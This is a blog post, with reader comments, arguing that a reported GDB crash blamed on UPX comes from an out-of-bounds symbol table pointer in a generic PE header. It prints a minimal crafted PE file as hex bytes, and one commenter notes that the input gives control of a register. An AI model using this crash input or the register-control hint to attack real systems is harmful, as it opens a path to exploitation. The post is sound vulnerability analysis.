GDB UPX vulnerability not a UPX vulnerability at all

Hey,

I got curious when I saw the post on SecuriTeam regarding the GDB buffer overflow caused by UPX, since I played a bit with files with that format myself lately.

So, I took my keyboard and got myself to download the crafted UPX file, and indeed GDB got a seg fault. So far so good. I wanted to see what UPX property actually causes the GDB to crash, so I decided to take a deeper look into the file.

The first thing I’ve noticed, was that the file didn’t include the UPX magic (“UPX!”), which was a bit suspicious to me – though as far as I remember it is not an actual requirement in UPX files, in practice I think most UPXed files include it. Moreover, the usual compressed “gibberish” (the actual application code, after compression), was obviously missing, which confirmed my assumption that the file was actually cut. This is nothing unusual for sanitized files of course, but in this special case, the UPX file’s headers were also cut. That led me to the conclusion that the problem is not related to an invalid UPX handling in GDB, but to general invalid PE handling.

A simple test confirmed my assumption: I changed all the sections’ names (which were the last actual thing that related the file to UPX) from UPXn to BLAn. Not surprisingly – GBD still crashed.

To make a long story short (too late? :) ), I kept sanitizing the file (the result is posted below) and after testing it on GDB, I believe that the problem is the Symbol Table Pointer: GDB crashes (allegedly, as I did not spent too much time testing this), because the pointer points out of the file’s boundary. Another confirmation to this can be found in the original bug report dump, which mentions “process_coff_symbol…” in coffread.c.
The sanitized file:

0x4d,0x5a,0×90,0×00,0×03,0×00,0×00,0×00,0×04,0×00,0×00,
0×00,0xff,0xff,0×00,0×00,0xb8,0×00,0×00,0×00,0×00,0×00,
0×00,0×00,0×40,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,
0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,
0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,
0×00,0×00,0×00,0×00,0×00,0×80,0×00,0×00,0×00,0x0e,0x1f,
0xba,0x0e,0×00,0xb4,0×09,0xcd,0×21,0xb8,0×01,0x4c,0xcd,
0×21,0×54,0×68,0×69,0×73,0×20,0×70,0×72,0x6f,0×67,0×72,
0×61,0x6d,0×20,0×63,0×61,0x6e,0x6e,0x6f,0×74,0×20,0×62,
0×65,0×20,0×72,0×75,0x6e,0×20,0×69,0x6e,0×20,0×44,0x4f,
0×53,0×20,0x6d,0x6f,0×64,0×65,0x2e,0x0d,0x0d,0x0a,0×24,
0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×50,0×45,0×00,0×00,
0x4c,0×01,0×00,0×00,0xc3,0×20,0xe3,0×45,0×91,0×00,0×00,
0×00,0×01,0×00,0×00,0×00,0×00,0×00,0×00,0×00

Share
  • scrimble

    weird it was originally filed under UPX even though it isn’t related to UPX at all, any idea why?

  • danielp

    The reason is probably that original file was a UPX file, which was cut (for some reason). When the bug was found in GDB, it was probably assumed that this concerns the UPX handling in GDB, not noticing that the UPX headers were also removed from the file, making it a standard PE…

  • http://em386.blogspot.com chris rohlf

    Add a byte to your POC and you control %ebx with that byte. The instruction I see the crash on is

    814f93e: movzbl (%ebx),%eax

    Where %eax is a symbol ‘main_name’. Im too lazy to continue looking into it. It appears DOS only but I could be wrong.